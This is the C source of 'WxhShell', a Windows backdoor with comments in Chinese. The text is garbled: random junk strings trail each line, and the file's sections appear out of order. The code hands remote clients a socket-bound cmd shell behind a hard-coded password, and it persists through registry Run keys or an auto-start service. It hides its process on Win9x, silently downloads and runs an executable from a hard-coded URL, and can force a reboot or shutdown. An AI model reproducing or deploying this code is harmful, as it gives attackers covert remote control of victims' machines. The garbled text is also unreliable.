  // 关机 cV:Q(|QC  
  case 'd': { +PYR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p3fV w]N  
    if(Boot(SHUTDOWN)) >]}VD "\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RCqL~7C+ k  
    else { TPb&";4ROf  
    closesocket(wsh); a?Om;-i2`S  
    ExitThread(0); ip'v<%,Q3"  
    } -T+yS BO_3  
    break; J>dj]1I  
    } e77s?WxbK  
  // 获取shell W9cvxsox  
  case 's': { H?opG<R=ek  
    CmdShell(wsh); fx 08>r   
    closesocket(wsh); L,_U co  
    ExitThread(0); -C^qN7Bz  
    break; .~'q yD2V  
  } Ge$&k  
  // 退出 NO*~C',cI/  
  case 'x': { _)-2h[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &\?{%xj  
    CloseIt(wsh);  UDpI @  
    break; J'cE@(US  
    } .WOF:Nu4  
  // 离开 IwFf8? 3  
  case 'q': { 21$^k5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); KI<x`b  
    closesocket(wsh); f`8fNt  
    WSACleanup(); z=k*D^X  
    exit(1); ZbH6$2r  
    break; D622:Y886  
        } ,_,7c or  
  } z"5e3w  
  } \i~5H]?d  
K~L"A]+  
  // 提示信息 E3Z>R=s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -NG9?sI\U  
} =L$RY2S"  
  } "z.!h(Eq  
7.5\LTM>9e  
  return; 17Q* <iCs  
} j@Us7Q)A(  
nkkGJV!  
// shell模块句柄 tORDtMM9+  
int CmdShell(SOCKET sock) GmGq69]J*  
{ n;b 9f|&z  
STARTUPINFO si; 0g#?'sD  
ZeroMemory(&si,sizeof(si)); QqY42hR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'U`I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DF#WQ8?$]  
PROCESS_INFORMATION ProcessInfo; 9 DXu*}  
char cmdline[]="cmd"; (K"t</]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q6Zh%\+h(  
  return 0; Sdmynuv U  
} S4O:?^28  
>|T?87  
// 自身启动模式 XeBSHvO_  
int StartFromService(void) ;`bJgSCfo  
{ MD:kfPQ  
typedef struct G[yN*C  
{ CvTgtZ '  
  DWORD ExitStatus; \v_t: "  
  DWORD PebBaseAddress; ,TO&KO1;&  
  DWORD AffinityMask; qf] OSd  
  DWORD BasePriority; `|JQ)!Agx  
  ULONG UniqueProcessId; OaxE3bDT  
  ULONG InheritedFromUniqueProcessId; tX *L_  
}   PROCESS_BASIC_INFORMATION; CtDS lJ  
Q^V`%+  
PROCNTQSIP NtQueryInformationProcess; dR /UXzrc  
sXC]{] P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >BQF<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4sK|l|W  
NU/~E"^I.  
  HANDLE             hProcess; 1[`l`Truz  
  PROCESS_BASIC_INFORMATION pbi; nBiA=+'v  
s.dn~|a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d0Kg,HB  
  if(NULL == hInst ) return 0; ?t.?f`(|  
Hp> J,m(*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L{CHAVkV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l 0b=;^6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >|I3h5\M  
;/{Q4X{  
  if (!NtQueryInformationProcess) return 0; 4_I,wG@  
VF==F_l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vDOeBw=  
  if(!hProcess) return 0; XY QUU0R  
.}y Lz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #WpO9[b>  
1@qb.9wZ6  
  CloseHandle(hProcess); nt[0krG  
" Gn; Q-@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yZ)ScB^  
if(hProcess==NULL) return 0; 0_y%Qj^e  
a m zw  
HMODULE hMod; o_*|`E  
char procName[255]; Q}.y"|^  
unsigned long cbNeeded; |)JoxqR  
_&![s]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zB]T5]  
;<X3AhF  
  CloseHandle(hProcess); R +JI ?/H  
x?<5=,  
if(strstr(procName,"services")) return 1; // 以服务启动 2RXGY  
K((Kd&E  
  return 0; // 注册表启动 quUJ%F  
} z=Vvb  
w./EJk KI  
// 主模块 &% r#eB?7  
int StartWxhshell(LPSTR lpCmdLine) 22r01qH  
{ O}f(h5!k  
  SOCKET wsl; @ Q1jH~t  
BOOL val=TRUE; A07 P$3>/W  
  int port=0; +@qk=]3a  
  struct sockaddr_in door; ]D-48o0  
XP;&iZJ  
  if(wscfg.ws_autoins) Install(); YXg uw7%\  
M2EN(Y_k0  
port=atoi(lpCmdLine); ?Ru`ma\;  
I2DmM"-|  
if(port<=0) port=wscfg.ws_port; aQmL=9  
d=KOV;~);  
  WSADATA data; \j;uN#)28  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cnPX vD^kY  
(MIw$)#^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xR&,QrjQG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dS&8R1\>1  
  door.sin_family = AF_INET; B:r-')!0$#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "=n8PNV/ c  
  door.sin_port = htons(port); ;Gs**BB&  
.}<B*e=y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9iy|=  
closesocket(wsl); @ :4Kk 4g1  
return 1; pNJM]-D]m~  
} 9cmJD5OO  
+?:V\niQI  
  if(listen(wsl,2) == INVALID_SOCKET) { \ +xIH  
closesocket(wsl); PC_4#6^5  
return 1; bv4cw#5z$9  
} zB$6e!fc  
  Wxhshell(wsl); 7Mv$.Z(  
  WSACleanup(); ge oN4  
6qJB"_.  
return 0; 66Xt=US  
*&0Hz{|  
} 9|WWA%p  
` ;=Se_  
// 以NT服务方式启动 f,a %@WT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Lb{D5k*XU  
{ y&Hh8|'mC  
DWORD   status = 0; OA=;9AcZ  
  DWORD   specificError = 0xfffffff; (*x "6)`  
k0IU~y%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `~]ReJ!X%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WO9/rF_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bC{8yV=)  
  serviceStatus.dwWin32ExitCode     = 0;  :Y3?,  
  serviceStatus.dwServiceSpecificExitCode = 0; m'B6qy!}6  
  serviceStatus.dwCheckPoint       = 0; K)@}Ok"#\4  
  serviceStatus.dwWaitHint       = 0; WLl9>v^1  
j1kc&(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `x VA]GR4c  
  if (hServiceStatusHandle==0) return; zNf5OItx  
UIj/Id  
status = GetLastError(); dZgfls  
  if (status!=NO_ERROR) 6 {Z\cwP)c  
{ x+e _pb   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yMkd|1  
    serviceStatus.dwCheckPoint       = 0; `7_LJ \>I  
    serviceStatus.dwWaitHint       = 0; ,AM-cwwT:u  
    serviceStatus.dwWin32ExitCode     = status; eFI4(Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; \(FDR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]c2| m}I{:  
    return; OJ 5 !+#>  
  } mD)O\.uA  
2AW{qwk7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kwR@oVR^  
  serviceStatus.dwCheckPoint       = 0; }aM`Jp-O  
  serviceStatus.dwWaitHint       = 0; wS0bk<(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?&m]du#6  
} \Agg6tY r  
 vB*oI~<  
// 处理NT服务事件,比如:启动、停止 8!6*|!,:?n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hob$eWgr  
{ n5/Tn7hY  
switch(fdwControl) 3raA^d3!?  
{ ^b %8_?2m  
case SERVICE_CONTROL_STOP: J"%}t\Q  
  serviceStatus.dwWin32ExitCode = 0; T_[\(K`w!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  ]:fCyIE  
  serviceStatus.dwCheckPoint   = 0; & }}WP:U  
  serviceStatus.dwWaitHint     = 0; lh_zZ!)g  
  { I7^X;Q F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k& s7 -yY  
  } +yH~G9u(  
  return; )>5k'1  
case SERVICE_CONTROL_PAUSE: u/c3omY"#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X2YOD2<v  
  break; )"uG*}\?b  
case SERVICE_CONTROL_CONTINUE: <,4(3 >js  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; veg!mY2&  
  break; /$,=>  
case SERVICE_CONTROL_INTERROGATE: D#1~]d  
  break; 1T,PC?vr{  
}; _l=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UiZp -Y%ki  
} i(iP}: 3  
?(8%SPRk  
// 标准应用程序主函数 gdE`UZ\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ; S ` -9}6  
{ (x0*(*A}  
/t)c fFM  
// 获取操作系统版本 ~"2@A F  
OsIsNt=GetOsVer(); ~!9Px j*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yGG B  
p3FnYz-V  
  // 从命令行安装 vcO`j<`  
  if(strpbrk(lpCmdLine,"iI")) Install(); \N , '+  
8Vhck-wF  
  // 下载执行文件 }k0-?_Z=1  
if(wscfg.ws_downexe) { +JS/Z5dl+}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6n\z53Mk  
  WinExec(wscfg.ws_filenam,SW_HIDE); _I-VWDCk  
} \nAHpF  
CN~NyJL H  
if(!OsIsNt) { PFy;qk  
// 如果时win9x,隐藏进程并且设置为注册表启动 65#:2,s  
HideProc(); D8AIV K]  
StartWxhshell(lpCmdLine); !LOors za  
} g^$11  
else {a8^6dm*E  
  if(StartFromService()) ]j2v"n  
  // 以服务方式启动 uE#,c\[8  
  StartServiceCtrlDispatcher(DispatchTable); g)?g7{&?>?  
else zZ"U9!T  
  // 普通方式启动 ~uR6z//%  
  StartWxhshell(lpCmdLine); n,a5LR  
]Bd3d%  
return 0; |EV\a[  
} !FO^:V<|5  
s~X*U&}5  
O& %"F8B  
pNE\@U|4E  
=========================================== x36#x  
"E)++\JL  
ViwpyC'v  
(S)E|;f%C  
A :bPIXb  
EH*ym#Y  
" zB6u-4^wT  
,' r L'Ys  
#include <stdio.h> \y H3Y  
#include <string.h>  /E{dM2  
#include <windows.h> -N7L #a  
#include <winsock2.h> 3R%UPT0>  
#include <winsvc.h> #>m, Cm  
#include <urlmon.h>  ;[KriW  
`o8{qU,*]N  
#pragma comment (lib, "Ws2_32.lib") q X%vRf0  
#pragma comment (lib, "urlmon.lib") n~)HfY  
rH&r6Xv[  
#define MAX_USER   100 // 最大客户端连接数 %:w% o$  
#define BUF_SOCK   200 // sock buffer "4ozlWx  
#define KEY_BUFF   255 // 输入 buffer 5u|=;Hz*)  
u@Cf*VPK  
#define REBOOT     0   // 重启 e4=FU&RpNH  
#define SHUTDOWN   1   // 关机 k'ZUBTRq!  
Go\} A:|s  
#define DEF_PORT   5000 // 监听端口 Z#F,y)YiO  
of'ZNQ/  
#define REG_LEN     16   // 注册表键长度 gJ3OK!/  
#define SVC_LEN     80   // NT服务名长度 jxnQG A  
En,)}yI  
// 从dll定义API ~i }+P71  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }xf='lE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nRXSW&V"m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ..q63dr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Le` /  
?VZ11?u  
// wxhshell配置信息 k)5_1y  
struct WSCFG { @UpC{M--Wr  
  int ws_port;         // 监听端口 yD[zzEuQ  
  char ws_passstr[REG_LEN]; // 口令 fEj9R@u+h  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7O+Ij9+{n  
  char ws_regname[REG_LEN]; // 注册表键名 v dH+>l  
  char ws_svcname[REG_LEN]; // 服务名 jKj=#O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sArje(5Eo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t8A kdSU0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p<HTJ0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no NDRW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" XatA8(_,5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Cgz&@@j,]  
^$=tcoQG  
}; e|b~[|;*=  
`&u<aLA  
// default Wxhshell configuration [Y22Wi  
struct WSCFG wscfg={DEF_PORT, Jm %ynW  
    "xuhuanlingzhe", i!Dh &XT  
    1, !_U37Uj<m  
    "Wxhshell", [arTx ^  
    "Wxhshell", <o&o=Y8  
            "WxhShell Service", DIG0:)4R.  
    "Wrsky Windows CmdShell Service", a1g6}ym\  
    "Please Input Your Password: ", VelB-vy&  
  1, jcEs10y  
  "http://www.wrsky.com/wxhshell.exe", f`hyYp`d5  
  "Wxhshell.exe" egI{!bZg'\  
    }; 0~+NB-L}  
iY ^{wi~?  
// 消息定义模块 1m>^{u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I%}L@fZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <AI>8j6#B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cQ(}^KO  
char *msg_ws_ext="\n\rExit."; -XBKOybHBO  
char *msg_ws_end="\n\rQuit."; |;A9A's  
char *msg_ws_boot="\n\rReboot..."; DO&+=o`"  
char *msg_ws_poff="\n\rShutdown..."; Hs"% S  
char *msg_ws_down="\n\rSave to "; NqJ<!q)  
ptV4s=G2  
char *msg_ws_err="\n\rErr!"; _{6,.TN  
char *msg_ws_ok="\n\rOK!"; U@.u-)oX  
;RWW+x8IB  
char ExeFile[MAX_PATH]; 8%o~4u3  
int nUser = 0; .vv5 t  
HANDLE handles[MAX_USER]; FOCoiocPi  
int OsIsNt; 4? m/*VV  
5Noe/6  
SERVICE_STATUS       serviceStatus; ^oQekga\l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  6R;)  
C9<4~IM w  
// 函数声明 45x,|h[F{5  
int Install(void); xClRO,-  
int Uninstall(void);  r=fE8[,  
int DownloadFile(char *sURL, SOCKET wsh); !uWxRpT,7  
int Boot(int flag); 8To7c  
void HideProc(void); &sm @  
int GetOsVer(void); owE<7TGPI?  
int Wxhshell(SOCKET wsl); 29"mE;j  
void TalkWithClient(void *cs); EHpu*P~W  
int CmdShell(SOCKET sock); j\2] M  
int StartFromService(void); 44|deE3Z  
int StartWxhshell(LPSTR lpCmdLine); YF}9k  
8#+`9GI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wL'oImE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $brKl8P  
9v~1We;{$  
// 数据结构和表定义 Bj@x$v#/^  
SERVICE_TABLE_ENTRY DispatchTable[] = Bu7A{DRf  
{ %6AYCN?Ih  
{wscfg.ws_svcname, NTServiceMain}, UhsO\9}qH  
{NULL, NULL} 0jBKCu  
}; MWBXs7 5I  
W`#gpi)7N  
// 自我安装 RK?jtb=&A  
int Install(void) U? 8i'5)  
{ mT96 ]V \  
  char svExeFile[MAX_PATH]; <z^SZ~G  
  HKEY key; Q>kiVvc  
  strcpy(svExeFile,ExeFile); u\`/Nhn  
~6p5H}'H1  
// 如果是win9x系统,修改注册表设为自启动 6 |QTS|!  
if(!OsIsNt) { /sy-;JDnsu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { csYy7uzi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r+o_t2_b*  
  RegCloseKey(key); 7g-Dfg.w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4Mk8Cpz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y|mW.  
  RegCloseKey(key); 1{^CfamF  
  return 0; [!W5}=^H  
    } R;WW f.#  
  } Q-[3j  
} a;%I\w;2  
else { w{3ycR  
u[)_^kIE(n  
// 如果是NT以上系统,安装为系统服务 W:WQaF`2x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iBucT"d]  
if (schSCManager!=0) 5i6VZv  
{ (I[s3EnhS  
  SC_HANDLE schService = CreateService sr\cVv")  
  ( UanEzx%  
  schSCManager, W/sY#"  
  wscfg.ws_svcname, RF:04d  
  wscfg.ws_svcdisp, @9aGz6k+  
  SERVICE_ALL_ACCESS, h{I`7X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gt'*B5F(  
  SERVICE_AUTO_START, 47KNT7C  
  SERVICE_ERROR_NORMAL, nh<Z1tMU  
  svExeFile, GSP?X$E  
  NULL, YNI;h%w  
  NULL, SgiDh dE  
  NULL, C#0brCQq3  
  NULL, (i\)|c/a7  
  NULL [O\9 9>  
  ); "9w}dQ  
  if (schService!=0) &I%IaNco  
  { -OWZ6#v(  
  CloseServiceHandle(schService); #*^e,FF<  
  CloseServiceHandle(schSCManager); \Dfm(R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cM3jnim  
  strcat(svExeFile,wscfg.ws_svcname); 0*/kGvw`i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M_Bu,<q^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y17hOKc`  
  RegCloseKey(key); 8&%Cy'TIz4  
  return 0; 7#ofNH J  
    } ZNi +Aw$u  
  } teAukE=}  
  CloseServiceHandle(schSCManager); SyAo, )j  
} :<H8'4>  
} Hte[TRbM  
z?4=h Sy  
return 1; 4Ac}(N5D@  
} _B3zRO  
TKo<~?  
// 自我卸载 #ra*f~G  
int Uninstall(void) L!,d"wuD  
{ 2 L:$aZ  
  HKEY key; W2hA-1  
~cIl$b  
if(!OsIsNt) { "kU]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1 DqX:WM6  
  RegDeleteValue(key,wscfg.ws_regname); h/HH Kn  
  RegCloseKey(key); 3 <9{v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~g7m3  
  RegDeleteValue(key,wscfg.ws_regname); <[ZI.+_Wt  
  RegCloseKey(key); =G4u#t)  
  return 0; *1$    
  } P_&p=${  
} ~@D/A/|  
} A @2Bs 5F  
else { e\D| o?v  
RJhK$\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?`H[u7*%  
if (schSCManager!=0) P#MK  
{ &<Zdyf?[Ou  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8eN7VT eb  
  if (schService!=0) FAw1o  
  { hO \/  
  if(DeleteService(schService)!=0) { s1 bU  
  CloseServiceHandle(schService); g5Hr7K m  
  CloseServiceHandle(schSCManager); /OG zt  
  return 0; R&*@@F-dx  
  } {n&Uf{  
  CloseServiceHandle(schService); dxCPV6 XI  
  } H O*YBL  
  CloseServiceHandle(schSCManager); [9AM\n>g  
} 'mE^5K  
} ;|HL+je;Z  
hF>u)%J/S  
return 1; ,F9nDF@)  
} &I/qG`W  
ugLlI2 nJ  
// 从指定url下载文件  Gq1)1  
int DownloadFile(char *sURL, SOCKET wsh) r[pF^y0   
{ ;&S;%W>|  
  HRESULT hr; 9->q|E4  
char seps[]= "/"; y`S o&:1  
char *token; m*Cu-6&qd  
char *file; mp1ttGUtM  
char myURL[MAX_PATH]; QIK 9  
char myFILE[MAX_PATH]; `N'V#)Pi  
(`c G  
strcpy(myURL,sURL); :h*a rT4{  
  token=strtok(myURL,seps); Jzex]_:1~  
  while(token!=NULL) w7 *V^B  
  { .3X Y&6  
    file=token; A gWPa.'3  
  token=strtok(NULL,seps); +qy6d7^  
  } $FX,zC<=  
g`[$Xi R  
GetCurrentDirectory(MAX_PATH,myFILE); IPtvuEju\  
strcat(myFILE, "\\"); >{nH v)  
strcat(myFILE, file); rt}^4IqL  
  send(wsh,myFILE,strlen(myFILE),0); v0LGdX)/Y  
send(wsh,"...",3,0);  prrT:Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nB] Ia?  
  if(hr==S_OK) wxdyF&U n  
return 0; :kG)sw7  
else x-;`-Uo%  
return 1; 3i=Iu0  
|8U;m:AS  
} B<,YPS8w  
Z h'&-c_J  
// 系统电源模块 izuF !9  
int Boot(int flag) /{*$JF  
{ Qihdn66  
  HANDLE hToken; VteEDL/w  
  TOKEN_PRIVILEGES tkp; f<=Fe:1.  
^$NJD  
  if(OsIsNt) { 6R4<J% $P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^R~~L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q2QY* A  
    tkp.PrivilegeCount = 1; n>FY?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e|lD:_1i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s&Yi 6:J  
if(flag==REBOOT) { 8ObeiVXf)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v("wKHWTI@  
  return 0; r*XLV{+4  
} N$#\Xdo  
else { G%{0i20_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) QJBr6   
  return 0; #*^+F?o,(  
} 5-vo0:hk  
  } ^+/kr/  
  else { %l !xkCKA  
if(flag==REBOOT) { OZ(dpV9.S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xDjV `E]  
  return 0; T?wzwGp-[  
} |"Z{I3Umg  
else { qLK?%?.N<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Jp~zX lu  
  return 0; X.V[0$.;  
} L:R<e#kgS  
} .%}+R|g  
]Kh2;>= Xj  
return 1; 8Vn4.R[vE  
} /,tAoa~FA  
(S /F)?  
// win9x进程隐藏模块 'jfRt-_-  
void HideProc(void) >: Wau  
{ ^%<pJMgdF  
K7(MD1tk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r>t1 _b+nu  
  if ( hKernel != NULL ) l "pN90B4  
  { C+N k"l9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Qa4MZj ;$K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q8nId<\(  
    FreeLibrary(hKernel); j6YiE~  
  } ]?LB?:6  
zP)~a  
return; iiC!|`k"  
} D4u% 6R|F  
A :e;k{J  
// 获取操作系统版本 S#l5y%&  
int GetOsVer(void) p]T"|!d  
{ Z-X?JA\&  
  OSVERSIONINFO winfo; {?8B,G2r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7E7dSq  
  GetVersionEx(&winfo); h<l1U'Bn7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /-M@[p&  
  return 1; '%;\YD9  
  else #x@eDnb_  
  return 0; =Lp7{09u  
} 27Emm c  
ccJM>9  
// 客户端句柄模块 [\e@_vY@OH  
int Wxhshell(SOCKET wsl) &^.57]  
{ xge7r3i  
  SOCKET wsh; #JW+~FU`  
  struct sockaddr_in client; [(mlv42"  
  DWORD myID; 3iX?~  
sRhKlUJG  
  while(nUser<MAX_USER) *_-'/i  
{ b[ w;i]2  
  int nSize=sizeof(client); !CY&{LEYn0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q_fam,9  
  if(wsh==INVALID_SOCKET) return 1; }JgYCsF/f  
+[-i%b3q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5Fw - d  
if(handles[nUser]==0) C NrII sJ  
  closesocket(wsh); []pN$]+c  
else Yl^mAS[w&  
  nUser++; Z;DCI-Wg  
  } dJk9@u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4=<*Vd`p  
[ .,>wo~  
  return 0; jLVl4h&  
} W;_E4  
l.=p8-/$'7  
// 关闭 socket ,. EBOUW^  
void CloseIt(SOCKET wsh) gFN 9jM  
{ au@a8MP  
closesocket(wsh); lCT{v@pp  
nUser--; P:xT0gtt  
ExitThread(0); R^&q-M=O[  
} 8Cx^0  
KOSM]c\H  
// 客户端请求句柄 Dl\`  
void TalkWithClient(void *cs) b1?xeG#  
{ =d`5f@'rl  
mEAXM 1J|  
  SOCKET wsh=(SOCKET)cs; @x&P9M0g  
  char pwd[SVC_LEN]; Sv[5NZn0&  
  char cmd[KEY_BUFF]; &(pjqV  
char chr[1]; @C8DZ5)  
int i,j; KLWDo%%u  
0Q9T3X  
  while (nUser < MAX_USER) { )xU-;z0"~  
Q[4: xkU  
if(wscfg.ws_passstr) { Dt}rR[yJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _=XX~^I,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?}P5p^6  
  //ZeroMemory(pwd,KEY_BUFF); ^"8wUsP  
      i=0; b{7E;KyY,  
  while(i<SVC_LEN) { IVxWxM*N<  
2 @j";+  
  // 设置超时 7Ke&0eAw  
  fd_set FdRead; rRFAD{5)  
  struct timeval TimeOut; olux6RP[B  
  FD_ZERO(&FdRead);  ZI>km?w  
  FD_SET(wsh,&FdRead); Q;/a F`  
  TimeOut.tv_sec=8; LV{Q,DrP  
  TimeOut.tv_usec=0;  >]D4Q<TY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @* ust>7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UK[v6".^h  
J5M+FwZq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?\=/$Gt  
  pwd=chr[0]; `C E^2  
  if(chr[0]==0xd || chr[0]==0xa) { J>vMo@  
  pwd=0; BRRj$)u  
  break; |UnUG  
  } | bv,2uWz  
  i++; ?=Pd  
    } vw>jJ  
n$L51#'  
  // 如果是非法用户,关闭 socket @ EuFJ=h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LJlZ^kh  
} aBuoHdg;  
V&{MQWy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rJyCw+N0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >h~IfZU1  
je,}_:7  
while(1) { IZ,oM!Y  
|,C#:"z;  
  ZeroMemory(cmd,KEY_BUFF); 256LHY|6  
giY80!GX  
      // 自动支持客户端 telnet标准   F"+o@9]  
  j=0; m` AK~O2  
  while(j<KEY_BUFF) { D=f7NVc>Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {}~:&.D  
  cmd[j]=chr[0]; YvL?j  
  if(chr[0]==0xa || chr[0]==0xd) { Y$>-%KcKeI  
  cmd[j]=0; $rB3m~c|  
  break; )eeN1G`rDE  
  } 3 fj  
  j++; dtStTT  
    } S^I,Iz+`S'  
Dr<='Ux[5  
  // 下载文件 k`KGB  
  if(strstr(cmd,"http://")) { m|tC24  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); DbI!l`Vn4  
  if(DownloadFile(cmd,wsh)) v5}X+'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {lG@hN'  
  else Rfb?f} j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hS [SRa'.  
  } :fcM:w&  
